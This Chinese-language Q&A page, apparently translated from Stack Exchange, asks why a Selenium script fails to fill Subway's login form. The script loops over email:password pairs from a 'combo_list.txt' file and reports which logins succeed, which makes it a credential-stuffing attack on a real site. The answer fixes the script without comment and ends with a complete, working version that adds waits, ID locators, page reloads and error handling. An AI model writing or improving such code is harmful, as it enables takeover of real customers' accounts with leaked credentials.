Subway登录页Selenium元素定位失败：无法输入账号密码求助

问题描述（已翻译为中文） #

我尝试了多种方法在Subway登录页实现邮箱和密码的自动化输入，但均未成功。已尝试的定位方式：

email_element = driver.find_element_by_xpath("//input[@class='signInName']")

以及：

email_element = driver.find_element_by_css_selector("input#signInName.invalid")

程序始终停留在登录页，控制台报错，无法完成账号密码输入。完整代码如下：

from selenium import webdriver

# 创建WebDriver实例
driver = webdriver.Chrome()

# 导航到Subway登录页
driver.get("https://id.subway.com/02d64b66-5494-461d-8e0d-5c72dc1efa7f/oauth2/v2.0/authorize?p=b2c_1a_signup_signin-r2&ui_locales=en-US&client_id=502546f5-a6d5-48ed-be47-6c7a5c984770&redirect_uri=https%3A%2F%2Fwww.subway.com%2F&response_type=code%20id_token&scope=openid&state=OpenIdConnect.AuthenticationProperties%3D1JWM2VDAuakyP_T24rr9fP56K_DvTf6l7yUC5cKN487qrptX3u3wgYBHuBJDXr_mjVgbnBaLARUiOcZmORpp5B__pvjczmP2bgFcEUtQ2CebtvnCktzsRD0MJU7ixoyjL-EOkBTniaGDSHaeiD3YLFTH6hKRHYSfk81HzXKd7YpCKBE4dS-6J05CacgBjN7PDSa9c68WZZ5gtr-v87d3PS4yTLYs8_KoJW1wychylie38WTGXFKr4esn1MBwSi3jSTfTBQmRUpVOi48Pxxa0nkQ3rwM&response_mode=form_post&nonce=638068963052811029.MWU1OGI1YzMtMDFhMy00MmRhLTg2M2YtYjA4MzlhZTYxZmJhNDg2NDAwZTgtYjczMy00YmJjLTkzMTctMGYxYzc0NjQ0MmVk&x-client-SKU=ID_NET461&x-client-ver=5.3.0.0")


with open("combo_list.txt", "r") as f:
    lines = f.readlines()

# 遍历账号列表
for line in lines:
    # 拆分邮箱和密码
    email, password = line.strip().split(":")

    # 通过XPath定位邮箱和密码输入框
    email_element = driver.find_element_by_xpath("//input[@class='signInName']")
    password_element = driver.find_element_by_xpath("//input[@name='password']")


    # 清空输入框
    email_element.clear()
    password_element.clear()

    # 输入邮箱和密码
    email_element.send_keys(email)
    password_element.send_keys(password)

    # 提交表单
    driver.find_element_by_css_selector(".btn.btn-primary").click()
    
    # 检查登录是否成功
    if "Welcome" in driver.page_source:
        print(f"使用邮箱 {email} 和密码 {password} 登录成功")
    else:
        print(f"使用邮箱 {email} 和密码 {password} 登录失败")

# 关闭WebDriver实例
driver.close()

核心问题与解决方法 #

1. 元素未加载完成就执行定位 #

Subway登录页基于Azure AD B2C框架，元素动态加载，直接定位会触发NoSuchElementException。必须使用显式等待确保元素可交互：

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

# 替换原定位代码，等待元素可点击
email_element = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.ID, "signInName"))
)
password_element = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.ID, "password"))
)

2. 定位方式不稳定 #

原XPath/CSS选择器依赖动态变化的类名（如invalid仅输入错误后出现），优先使用唯一ID定位：

• 邮箱输入框ID：signInName
• 密码输入框ID：password

3. 循环未处理页面跳转 #

登录后页面会跳转，后续循环无法定位登录页元素。每次循环开始时重新加载登录页：

login_url = "https://id.subway.com/02d64b66-5494-461d-8e0d-5c72dc1efa7f/oauth2/v2.0/authorize?p=b2c_1a_signup_signin-r2&ui_locales=en-US&client_id=502546f5-a6d5-48ed-be47-6c7a5c984770&redirect_uri=https%3A%2F%2Fwww.subway.com%2F&response_type=code%20id_token&scope=openid&state=OpenIdConnect.AuthenticationProperties%3D1JWM2VDAuakyP_T24rr9fP56K_DvTf6l7yUC5cKN487qrptX3u3wgYBHuBJDXr_mjVgbnBaLARUiOcZmORpp5B__pvjczmP2bgFcEUtQ2CebtvnCktzsRD0MJU7ixoyjL-EOkBTniaGDSHaeiD3YLFTH6hKRHYSfk81HzXKd7YpCKBE4dS-6J05CacgBjN7PDSa9c68WZZ5gtr-v87d3PS4yTLYs8_KoJW1wychylie38WTGXFKr4esn1MBwSi3jSTfTBQmRUpVOi48Pxxa0nkQ3rwM&response_mode=form_post&nonce=638068963052811029.MWU1OGI1YzMtMDFhMy00MmRhLTg2M2YtYjA4MzlhZTYxZmJhNDg2NDAwZTgtYjczMy00YmJjLTkzMTctMGYxYzc0NjQ0MmVk&x-client-SKU=ID_NET461&x-client-ver=5.3.0.0"

# 循环内开头添加
driver.get(login_url)

4. 错误捕获与容错 #

添加异常捕获，避免单个账号处理失败导致程序终止：

try:
    # 登录逻辑
except Exception as e:
    print(f"处理账号 {email} 时出错：{str(e)}")

优化后完整代码 #

from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

# 创建WebDriver实例
driver = webdriver.Chrome()
login_url = "https://id.subway.com/02d64b66-5494-461d-8e0d-5c72dc1efa7f/oauth2/v2.0/authorize?p=b2c_1a_signup_signin-r2&ui_locales=en-US&client_id=502546f5-a6d5-48ed-be47-6c7a5c984770&redirect_uri=https%3A%2F%2Fwww.subway.com%2F&response_type=code%20id_token&scope=openid&state=OpenIdConnect.AuthenticationProperties%3D1JWM2VDAuakyP_T24rr9fP56K_DvTf6l7yUC5cKN487qrptX3u3wgYBHuBJDXr_mjVgbnBaLARUiOcZmORpp5B__pvjczmP2bgFcEUtQ2CebtvnCktzsRD0MJU7ixoyjL-EOkBTniaGDSHaeiD3YLFTH6hKRHYSfk81HzXKd7YpCKBE4dS-6J05CacgBjN7PDSa9c68WZZ5gtr-v87d3PS4yTLYs8_KoJW1wychylie38WTGXFKr4esn1MBwSi3jSTfTBQmRUpVOi48Pxxa0nkQ3rwM&response_mode=form_post&nonce=638068963052811029.MWU1OGI1YzMtMDFhMy00MmRhLTg2M2YtYjA4MzlhZTYxZmJhNDg2NDAwZTgtYjczMy00YmJjLTkzMTctMGYxYzc0NjQ0MmVk&x-client-SKU=ID_NET461&x-client-ver=5.3.0.0"

with open("combo_list.txt", "r") as f:
    lines = f.readlines()

# 遍历账号列表
for line in lines:
    # 拆分邮箱和密码
    try:
        email, password = line.strip().split(":")
    except ValueError:
        print(f"无效的账号格式：{line.strip()}")
        continue
    
    # 导航到登录页
    driver.get(login_url)
    
    try:
        # 等待并定位邮箱输入框
        email_element = WebDriverWait(driver, 10).until(
            EC.element_to_be_clickable((By.ID, "signInName"))
        )
        # 等待并定位密码输入框
        password_element = WebDriverWait(driver, 10).until(
            EC.element_to_be_clickable((By.ID, "password"))
        )

        # 清空输入框并输入内容
        email_element.clear()
        email_element.send_keys(email)
        password_element.clear()
        password_element.send_keys(password)

        # 提交表单
        submit_btn = WebDriverWait(driver, 10).until(
            EC.element_to_be_clickable((By.CSS_SELECTOR, ".btn.btn-primary"))
        )
        submit_btn.click()

        # 检查登录是否成功
        WebDriverWait(driver, 5).until(lambda d: "Welcome" in d.page_source or "Sign in" in d.page_source)
        if "Welcome" in driver.page_source:
            print(f"使用邮箱 {email} 和密码 {password} 登录成功")
        else:
            print(f"使用邮箱 {email} 和密码 {password} 登录失败")
    except Exception as e:
        print(f"处理账号 {email} 时出错：{str(e)}")

# 关闭WebDriver实例
driver.quit()

内容的提问来源于stack exchange，提问作者mmmm